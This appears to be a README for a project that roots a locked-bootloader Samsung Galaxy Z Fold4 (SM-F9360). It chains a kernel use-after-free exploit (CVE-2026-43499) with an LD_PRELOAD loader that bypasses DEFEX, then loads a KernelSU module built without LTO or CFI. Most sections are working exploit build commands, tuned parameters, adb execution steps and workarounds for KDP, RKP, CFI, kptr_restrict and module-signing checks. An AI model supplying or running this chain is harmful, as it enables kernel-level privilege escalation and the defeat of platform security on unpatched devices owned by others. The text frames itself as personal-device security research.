CVE-2026-43499 临时 root → LD_PRELOAD 通道绕过 DEFEX → 无 LTO clang-12 版 kernelsu.ko → su + KernelSU Manager 全功能
状态:✅ 2026-08-12 真机验证达成(固件
F9360ZCSAIZF1,内核5.10.236-android12-9-2755199-abF9360ZCSAIZF1)本项目记录在 Bootloader 锁定 的三星设备上达成 KernelSU root 的完整可复现流程:不需要解锁 BL、不需要刷 boot.img、不需要 Odin。
TL;DR (English): This repo documents a fully device-verified jailbreak path for a locked-bootloader Samsung Galaxy Z Fold4 (SM-F9360, SM8450, kernel 5.10.236, firmware F9360ZCSAIZF1): a CVE-2026-43499 (rtmutex UAF, fixed in July-2026 firmware) exploit chain grants temporary kernel-domain root; a custom LD_PRELOAD constructor .so bypasses Samsung's DEFEX execve interceptor to init_module() a KernelSU LKM built with the exact device toolchain (AOSP clang 12.0.5 r416183b) and with LTO disabled — the two factors that make the module loadable and its init executable on this CFI/LTO hardened kernel. Result: su works (uid=0, context=u:r:ksu:s0) and KernelSU Manager v3.2.5 recognizes the kernel. Root is in-memory only: every reboot requires re-running the exploit (~3 min, scripted). All pitfalls and dead ends (fake exports, CRC patching, ksud late-load, LTO function-sections layout) are documented below.
- 1. 成果与本质限制
- 2. 背景:为什么难,为什么可行
- 3. 攻击链总览(3 层)
- 4. 环境要求
- 5. Step 1 — 构建 exploit(临时 root)
- 6. Step 2 — 构建 kernelsu.ko(无 LTO clang-12 配方)
- 7. Step 3 — 构建 ksu-load.so(DEFEX 绕过加载器)
- 8. Step 4 — 设备端执行与验证
- 9. 重启后的恢复流程
- 10. 关键发现与踩坑清单
- 11. 固件/内核兼容性
- 12. 致谢与上游项目
- 13. 免责声明
| 项目 | 状态 |
|---|---|
临时 root(内核域 kernel:s0) |
✅ 稳定达成(连续 9 次成功) |
KernelSU 模块加载(init_module) |
✅ kernelsu ... Live (O) |
| KSU init 完整执行 | ✅ 15 个埋点 mark 全绿 |
su 命令 |
✅ uid=0(root) gid=0(root) context=u:r:ksu:s0 |
| KernelSU Manager v3.2.5 | ✅ 识别内核版本(supercall 检测通过),SELinux 强制执行模式下工作 |
| Bootloader 解锁 | ❌ 不需要 |
| 刷机/修改分区 | ❌ 不需要 |
本质限制:BL 锁 → root 是纯内存态。 每次重启后需要重跑 exploit + 重新加载模块(全流程约 3 分钟,已脚本化)。ksud 用户态 daemon 无法部署(DEFEX 拦 execve,见 §10-4),但 su / supercall / Manager 均由内核 sucompat 直接处理,不依赖 ksud。
警告:rmmod kernelsu 会让设备立即 panic 重启(RKP 保护内存上的 syscall-table 还原路径)——永远不要卸载。
- BL 锁:OEM 锁不可解,
fastboot oem unlock不存在;任何持久化 root(magisk/kernel patch)都需要刷入 boot.img,而 locked BL 拒绝一切自签镜像。 - KDP / RKP / DEFEX:内核数据保护(rodata 物理写会触发 KDP monitor 硬重启)、RKP hypervisor 保护 syscall table、DEFEX 拦截 root 域执行新 ELF。
- CFI + LTO 内核:
CONFIG_CFI_CLANG=y+ Full LTO。mod->init的唯一来源是 CFI jump-table 槽__cfi_jt_init_module;间接调用必须走.cfi_jt表项,否则 CFI 检查直接 panic。 - TRIM_UNUSED_KSYMS:~40 个 KSU 需要的符号被从
__ksymtab导出表裁掉,普通insmod无法解析(Unknown symbol)。 - MODULE_FORCE_LOAD=n + modversions:vermagic 必须逐字符精确匹配;
IGNORE_MODVERSIONS/IGNORE_VERMAGIC标志全部走try_to_force_load()死路。
- CVE-2026-43499(rtmutex proxy-lock 回滚 UAF,主线上游 2026-07 修复)在 2026-06 及更早固件上可稳定提权到内核域——社区已有同 SoC(SM8450)+ 同内核分支(5.10)的真机验证移植:
sarabpal-dev/IonStack-S22U(b0q / S22U,exp32 路由)。 - DEFEX 只拦 execve,不拦动态加载:
LD_PRELOADconstructor.so是 root 域执行任意代码的唯一豁免通道。 - KernelSU v3.2+ 的 jailbreak 模式(
ksud late-load)就是为锁 BL 设备设计的:不刷 boot,直接运行时init_module。 - 工具链匹配原则:CFI type-id 是 LLVM 内部 hash,模块必须用与设备内核完全相同的编译器构建(q4q 设备 = AOSP clang 12.0.5 r416183b)。
- LTO 拆分布局是模块崩溃的终极根因:function-sections 产出的 447 个 ALLOC 小段在三星内核加载器上必崩;禁 LTO 重编 → 传统 22 段布局 → 一次成功(详见 §10-1)。
┌─ Layer 1: CVE-2026-43499 临时 root
│ ionstack-q4q exploit(KASLR 泄漏 → mm reclaim → exp32 32-bit 栈 stamp
│ → CFI r/w → pipe physrw → UMH root daemon)
│ → /data/local/tmp/cve-2026-43499-root -c '<cmd>' = kernel:s0 域 root 命令通道
│
├─ Layer 2: LD_PRELOAD .so 加载通道(DEFEX 绕过)
│ DEFEX 拦截 kernel 域 execve 任何新 ELF(Killed);LD_PRELOAD 的 constructor
│ 执行豁免 → ksu-load.so 在 /system/bin/true 进程内:
│ 读 ko → /proc/kallsyms 手工重定位 201 个 UND 符号(SHN_ABS + st_value=绝对地址)
│ → vermagic patch(旧版需要)→ init_module() → 成功
│
└─ Layer 3: KernelSU 内核模块(无 LTO clang-12 版)
init 完整执行 15 mark 全绿 → sucompat (allow_shell=1) + supercall 可用
| 项目 | 值 |
|---|---|
| 型号 | SM-F9360(Galaxy Z Fold4,q4q) |
| SoC | SM8450(Snapdragon 8+ Gen 1) |
| 固件 | F9360ZCSAIZF1(≤ 2026-06 构建,含 CVE) |
| 内核 | 5.10.236-android12-9-2755199-abF9360ZCSAIZF1 |
| 设备编译器 | AOSP clang 12.0.5 (r416183b, c935d99d7cf)(/proc/version 确认) |
| 精确 vermagic | 5.10.236-android12-9-2755199-abF9360ZCSAIZF1 SMP preempt mod_unload modversions aarch64 |
不同固件 = 不同的 kallsyms / 布局 / vermagic,需要重新适配 target.h 与重编。见 §11。
- macOS 宿主 + colima/docker,Ubuntu 24.04 aarch64 容器(x86_64 clang 二进制在 arm64 容器跑不了;macOS 宿主构建是工具地狱,一律容器化)
- 容器内:
clang-14/15+ focal 源clang-12/lld-12(/usr/bin/clang-12、/usr/bin/ld.lld-12) - 容器无 gcc → make 必须
CC=clang HOSTCC=clang LD=ld.lld-12 - NDK r29(构建 exploit 与 ksu-load.so)
- 三星内核源码:GitHub 镜像
FryUpDoe/android_kernel_samsung_q4q(opensource.samsung.com 有 Cloudflare 反爬)
exploit 基于 sarabpal-dev/IonStack-S22U(SM8450 5.10 真机 GREEN 基座,exp32 路由)。q4q 适配 = 仓库内 patches/ionstack-q4q-adapt.patch(249 行,覆盖 target.h 参数、kernelsnitch、root.c 等)。
export ANDROID_NDK_HOME=$HOME/Projects/f9360-root/tools/android-ndk-r29
cd work/ionstack-q4q # IonStack-S22U clone + 本 patch
make PROJECT=q4q-F9360ZCSAIZF1 # 注意变量名是 PROJECT= 不是 TARGET=q4q 关键参数(已调优,勿改):
| 参数 | 值 | 为什么 |
|---|---|---|
P0_KERNEL_PHYS_LOAD |
0xa8000000 |
b0q/S22U 真机值(SM8450 全系约定;0x80080000 是误对齐假阳) |
APP_KERNEL_PAGE_KSNITCH_IDENTITY_END |
0xffffff8b00000000(44GB) |
设备内存分散在 phys 33.8–39.5GB,2GB 窗口(e2s 抄来的)永远找不到 |
KERNELSNITCH_FUTEX_HASH_SIZE |
2048 |
内核 roundup_pow2(256*8)=2048,默认 4096 导致 mm leak 全失败 |
KERNELSNITCH_MTE_ENABLED |
0 |
生产内核 kasan=off,MTE 未激活 |
EXP32_STAMP_OFF |
0x58 |
反汇编推导(b0q/q4q 的 futex_wait_requeue_pi 与 compat do_ipv6_setsockopt 帧一致) |
fork 32→16 组 / APPENDED_FUTEXES 4096→1024 |
— | 降低系统负载,防 LMKD SIGKILL |
KSU_LOAD_ONLY=1(root.c) |
— | 跳过 fake_exports(ksu-load.so 手工重定位替代) |
产出 3 个二进制(build/q4q-F9360ZCSAIZF1/):preload .so、app .so、root helper PIE。设备端实测必须在低负载下运行(loadavg < 2.5,开机后等 1–2 分钟),高负载下 exploit 的 fork 风暴(~544 线程 + 1024 futex park 线程)会被 LMKD 静默 SIGKILL。
这是本项目最核心的可复现配方。先讲原理,再给命令。
- 编译器必须与设备同代(clang 12.0.5):CFI type-id 是 LLVM 内部 hash。clang-15/18 编的 ko 在设备上
__cfi_check_fail→ 直接 panic(无 CFI_PERMISSIVE)。Ubuntu clang-12 与 AOSP clang-12 行为也略有差异,但 CFI 关闭后(见下)差异不再致命。 - 必须关 LTO(终极根因):三星树默认
CONFIG_LTO_CLANG_THIN=y→-ffunction-sections拆分布局(447 个 ALLOC 小段,.text=0)→ 任何版本(连 stub)加载即内核 panic。官方 ko 是传统布局(22 段)→ 一直能加载。关 LTO 重编 → 一次成功。 - 必须关 CFI:模块不带
__cfi_check符号 →mod->cfi_check=NULL→cfi_init的 shadow 注册被跳过 → 调用不经 CFI 检查。但注意:mod->init的唯一来源是 CFI jt 槽__cfi_jt_init_module(kernel/module.c cfi_init())——非 CFI 编译且没有 jt 槽的 ko 会 "Live" 但 init 从不执行(假成功!)。clang-12 天然生成D __cfi_jt_init_module槽,无需手工 objcopy。
# 1) 禁 per-task sysreg stack guard(Ubuntu clang-12 不支持 -mstack-protector-guard=sysreg)
# arch/arm64/Makefile: ifeq ($(CONFIG_STACKPROTECTOR_PER_TASK),y) → ifeq (n,y)
# 模块 stack protector 回退全局 __stack_chk_guard(kallsyms 有导出,安全)
# 2) .config 与 include/config/auto.conf 同步修改(auto.conf 是 make 实际读的):
# CONFIG_LTO_CLANG_THIN=y → # CONFIG_LTO_CLANG_THIN is not set
# CONFIG_LTO_CLANG=y → not set
# CONFIG_LTO=y → not set
# CONFIG_LTO_NONE=y
# CONFIG_CFI_CLANG=y / CONFIG_CFI_CLANG_SHADOW=y → not set
# + CONFIG_SECTION_MISMATCH_WARN_ONLY=y
# (jt 槽 .data→.init 引用会被 modpost 拦成 ERROR,必须开)
# 3) KSU 源码就位 drivers/kernelsu/
# (KernelSU v3.2.5 + BuSung samsung-kdp-rkp-defex patch;Kconfig/Makefile 已接入)docker exec ksu-build bash -c "cd /kernel && find drivers/kernelsu -name '*.o' -delete; \
make M=drivers/kernelsu LD=ld.lld-12 CC=clang-12 CONFIG_KSU=m \
CONFIG_KSU_SAMSUNG_KDP=y CONFIG_KSU_SAMSUNG_RKP=y CONFIG_KSU_SAMSUNG_DEFEX=y \
CONFIG_KSU_SAMSUNG_NO_PATCH_TEXT=y modules"
⚠️ 清.o是必须的:.o缓存不会因 .config 变化自动重建,残留 function-sections 产物会导致假成功/假崩溃。
# .text 是统一段(~0x1133c),不是 function-sections 拆分布局
llvm-readelf -S kernelsu.ko | grep -c '\.text\.' # 应为 0
# jt 槽存在(mod->init 唯一来源)
llvm-nm kernelsu.ko | grep __cfi_jt_init_module # D __cfi_jt_init_module
# vermagic 精确匹配设备(用设备树编的天然匹配,无需 patch)
modinfo kernelsu.ko | grep vermagic
# 201 个 UND 符号、无 __cfi_check(模块不参与 CFI shadow)
llvm-readelf -s kernelsu.ko | grep -c UND
llvm-nm kernelsu.ko | grep __cfi_check # 应为空成功版模块见 release/kernelsu-c12-nolto.ko(SHA256SUMS 校验)。
DEFEX 语义(实测测绘结论,推翻社区旧认知):
| 执行路径 | 结果 |
|---|---|
| shell 域(adb)exec 新 ELF | ✅ 放行(但无 root:无 CAP_SYS_MODULE / CAP_CHOWN) |
| kernel:s0 域 exec 新 ELF | ❌ Killed(DEFEX 拦提权域逃逸) |
| setexeccon 降域后 exec | ❌ 仍 Killed(DEFEX 追踪 LD_PRELOAD 链本身,与域无关) |
| LD_PRELOAD constructor .so 载入已有二进制 | ✅ 放行(唯一 root 域代码执行通道) |
| UMH spawn(exploit 的 root daemon) | ✅ 放行 |
因此 ksud 自身流程在三星上跑不通(kernel 域 exec 被拦,shell 域无权限),自建加载器 = loader/ksu-load.c(KSU_LOAD_AS_SO 宏 = constructor 版):
- constructor 读
$KSU_KO_PATH - 开
/proc/kallsyms(先经 root 通道echo 0 > /proc/sys/kernel/kptr_restrict) - 对
.symtab每个 UND 符号:kallsyms 查绝对地址 →SHN_ABS + st_value=地址- 上限 600000 条(设备实际 489702 条;65536 的旧上限会静默截断报全部 MISSING)
patched=201 missing=0为全解- SHN_ABS 符号永不进
find_symbol()/check_version()→ TRIM_UNUSED_KSYMS 与 modversions CRC 两堵墙同时消失
KSU_VERMAGIC_PATCH=1(旧版 ko 需要):缩短 .modinfo 的 scmversion/author/description 原位腾字节 → 写入设备精确 vermagic 串(无 LTO 版 vermagic 自动匹配,不需要)init_module(fd, params)→ 日志写 /data/local/tmp/ksu-load.log(无缓冲 stderr,崩溃不丢日志)
$ANDROID_NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android30-clang \
-shared -fPIC -O2 -DKSU_LOAD_AS_SO -o ksu-load.so ksu-load.cadb -s RFCW31TJJ0T push release/kernelsu-c12-nolto.ko /data/local/tmp/
adb -s RFCW31TJJ0T push release/ksu-load.so /data/local/tmp/
adb -s RFCW31TJJ0T push build/q4q-F9360ZCSAIZF1/cve-2026-43499-app.so /data/local/tmp/
adb -s RFCW31TJJ0T push build/q4q-F9360ZCSAIZF1/cve-2026-43499-root /data/local/tmp/
# panic 会清零 F2FS 页缓存 —— 每次 panic 后必须 MD5 重新核对/重推# 重启后必须等 loadavg < 2.5(watch /proc/loadavg)再跑,高负载必失败
adb -s RFCW31TJJ0T shell "
pkill -9 -f 'cve-2026-43499'; # 清残留(⚠️ 勿在 root daemon 活着时用,会误杀通道)
cd /data/local/tmp
KSU_LOAD_ONLY=1 EXP32_STAMP_OFF=0x58 EXPLOIT_ATTEMPTS=3 \
LD_PRELOAD=/data/local/tmp/cve-2026-43499 nohup sh -c 'sleep 3600' > exp.log 2>&1
"
adb -s RFCW31TJJ0T shell "/data/local/tmp/cve-2026-43499-root -c 'id'"
# → uid=0(root) gid=0(root) context=u:r:kernel:s0adb -s RFCW31TJJ0T shell "
timeout 10 cve-2026-43499-root -c 'echo 0 > /proc/sys/kernel/kptr_restrict'
timeout 60 cve-2026-43499-root -c 'sh -c \"KSU_KO_PATH=/data/local/tmp/kernelsu-c12-nolto.ko \
KSU_KO_PARAMS=allow_shell=1 LD_PRELOAD=/data/local/tmp/ksu-load.so \
/system/bin/true > /data/local/tmp/ksu-load.log 2>&1\"'
"
cat /data/local/tmp/ksu-load.log
# 成功标志: patched=201 missing=0 | KernelSU loaded OK (manual relocation, 201 symbols)
adb -s RFCW31TJJ0T shell "cat /proc/modules | grep kernelsu"
# → kernelsu 147456 0 - Live (O)# 1. KSU init 15 mark(/data/local/tmp/ksu-init.log):
# entry → resolver-ok → kdp-ok → cred-ok → defex-ok → syscallhook-ok
# → features-ok → supercalls-ok → rules-ok → cachesid-ok → setupcred-ok
# → escape-ok → allowlist-ok → hookmanager-ok → late-done
# 2. su:
adb -s RFCW31TJJ0T shell "su -c id"
# → uid=0(root) gid=0(root) groups=0(root) context=u:r:ksu:s0
# 3. KSU Manager v3.2.5 主页显示:
# 「内核版本 5.10.236-android12-9-2755199-abF9360ZCSAIZF1」= supercall 通过
# SELinux 强制执行 + Seccomp 过滤模式下正常工作# 1. 重启 → 等 loadavg < 2.5
# 2. 跑 §8.2 exploit(一次成功率高)→ 验证 root
# 3. 跑 §8.3 加载 → 验证 /proc/modules
# 4. su 可用 + Manager 识别
# 全流程 ~3 分钟。scripts/restore-root.sh 为半自动模板。- 现象:clang-12 编的 kernelsu 加载即崩,连 init 打桩(ret)的 stub 版也崩,而官方 clang-12 ko 的 stub 版能加载 → 模块级差异,不是 init 代码问题。
- 二分链:RELA flags 相同 → 特殊段(
__jump_table/.altinstructions/.note.gnu.property)官方也有 → 唯一差异 = function-sections 拆分布局(我们的 ko 447 个 ALLOC 段 vs 官方 22 段)。 - 修复:
CONFIG_LTO_CLANG_THIN全套关闭 + 清.o重编 → 传统布局 → 一次加载成功,init 15 mark 全绿。 - 教训:
.o缓存不因 .config 变化重建;改配置必须find drivers/kernelsu -name '*.o' -delete。
kernel/module.c cfi_init():mod->init = *find_kallsyms_symbol_value(mod, "__cfi_jt_init_module")。非 CFI 构建且无 jt 槽的 ko → mod->init=NULL → do_init_module 跳过 → 模块 "Live" 但 init 从未执行(ksu_cred 没建、hook 没注册——此前一切 "Live 空壳" 现象的根源)。clang-12 天然生成 jt 槽;clang-14 的 -fsanitize=cfi 会生成但 LTO 链接后丢弃(死路)。
设备 /proc/version = Android (7284624, based on r416183b) clang version 12.0.5。clang-15/18 编的 ko 在设备上 __cfi_check_fail → panic 且无 CFI_PERMISSIVE。查 /proc/version,用同代编译器。AOSP clang r416183b 下载(446MB):https://android.googlesource.com/platform/prebuilts/clang/host/linux-x86/+archive/refs/heads/android12-release/clang-r416183b.tar.gz(分支必须是 android12-release;x86_64 版在 arm64 容器跑不了)。Ubuntu clang-12 需改三星 Makefile 禁 sysreg guard(见 §6)。
见 §7 表格。核心:LD_PRELOAD constructor 是唯一豁免通道;setexeccon 降域无效;ksud late-load 路线作废,自建加载器。libksud.so(Manager 内嵌库版 ksud)可从 app 域启动但被 seccomp 拦 syscall 142,未及利用。
CONFIG_MODULE_FORCE_LOAD=n → IGNORE_VERMAGIC/IGNORE_MODVERSIONS 标志全走 try_to_force_load() → ENOEXEC 死路。设备 vermagic 带 LOCALVERSION 后缀(-2755199-abF9360ZCSAIZF1),用设备树(正确的 SUBLEVEL/EXTRAVERSION/LOCALVERSION)编出来的 ko 天然精确匹配。zero-__versions 模块(KSU 官方风格)在 same_magic 里是全串比较,必须逐字符一致。
- exploit 负载门控:开机后 loadavg ≥ 2.5 必失败(LMKD SIGKILL,日志停在
find_collisions同字节数)。等负载降再跑。 - panic 后文件清零:F2FS 页缓存损坏,
/data/local/tmp文件可能被清零——panic 后 MD5 核对所有二进制。 pkill -9 -f cve-2026-43499会误杀 root daemon:root 通道也没了,须重启重来。- tracefs slide 泄漏跨 boot 不稳定:成功 boot 的 slide 稳定;失败 boot(CFI mismatch)直接重启重试,不要 chase 代码。
- stdout 块缓冲丢日志:重定向到文件时 printf 是块缓冲,panic 时丢最后一段日志。
set_unbuffer()(kernelsu 工具链自带)在run_exploit里调用,此前从未被调用。 - kptr_restrict=2 连内核域 root 都隐藏地址:先
echo 0 > /proc/sys/kernel/kptr_restrict,加载器必须跳过 addr==0 行。 - kallsyms 489k 条:加载器数组上限 ≥600k,65536 会静默截断报全 MISSING。
- KDP/RKP/DEFEX patch 必打:原版 KSU 在三星上普通
put_cred写 KDP cred → 同步外部中止 panic。 rmmod kernelsu必 panic(§1)。- 容器无 gcc:make 必须
CC=clang HOSTCC=clang LD=ld.lld-12,否则 cc-wrapperexecvp gccError 255。 - 尝试过但放弃的路线(详见 §12 上游与 docs/PORTING-TIMELINE.md):
- 39 符号 wrapper shim(ksu_syms.c)→ 能过 modpost,但撞 modversions CRC 墙;
- fake-exports ksymtab 劫持 + kcrctab physrw dump → 可行但 32KB 逐字节 pipe 读太慢,且 rodata 写有 KDP panic 风险;
- ksud late-load → DEFEX 拦 execve,作废。
- SHN_ABS 手工重定位 = 终局方案:一石三鸟(TRIM 符号、CRC、vermagic 兼容),零内核内存写。
- CVE-2026-43499 修复窗口:Samsung 2026-07 固件已修复。目标固件必须 ≤ 2026-06 构建。
- 本仓库所有产物(ko/vermagic/参数)绑定
F9360ZCSAIZF1。其他固件需:- 用对应固件的 boot.img 重导 kallsyms 与布局(
vmlinux-to-elf+llvm-nm); - 更新 target.h 的 25 个符号偏移 + P0 指纹表(
tools/generate_p0_fingerprint.pl); - 用该固件对应的内核树重编 ko(vermagic 自动匹配);
- 同 SoC(SM8450)的 b0q/S22U 社区移植证明
0xa8000000是长生命周期约定,大概率不用动。
- 用对应固件的 boot.img 重导 kallsyms 与布局(
- 同内核分支的其他三星设备(如 S22 系列 5.10)可作为移植参考基座,但每个设备的 task_struct 偏移、mm_struct objsize、ksm 参数都要独立验证(跨设备复制偏移 = 必崩)。
- CVE-2026-43499 生态:
BuSung-dev/Root-My-Galaxy/Root-My-Galaxy-Payloads(原始漏洞利用与 payload 框架) sarabpal-dev/IonStack-S22U— SM8450 5.10 真机 GREEN 移植基座(exp32 路由),本项目 exploit 直接基于它tiann/KernelSUv3.2.5 — jailbreak 模式(ksud late-load)+ 模块本体- BuSung 的
KernelSU-v3.2.5-samsung-kdp-rkp-defex.patch— 三星 KDP/RKP/DEFEX 适配 xunchahaha/mi_nobl_root— SHN_ABS patch 思路的 Python 参考实现FryUpDoe/android_kernel_samsung_q4q— 内核源码镜像- 酷安社区"大佬适配版" RMG APK(42 固件 payloads)——逆向素材与情报来源
本项目仅用于安全研究与个人设备测试。利用锁 BL 设备上的已知漏洞(CVE-2026-43499)绕过平台安全机制,可能违反设备保修条款与服务条款。一切风险自负:内核 panic、数据丢失、设备变砖(低概率但存在)均由使用者承担。请勿用于任何未经授权的设备。CVE 已在 2026-07 上游修复,请及时更新固件。
LICENSE:仓库自有代码(loader/ksu-load.c、scripts/、本文档)为 MIT;release/kernelsu-c12-nolto.ko 衍生自 GPL-2.0 的 KernelSU 与三星内核源码(GPL-2.0);patches/ionstack-q4q-adapt.patch 随上游项目许可。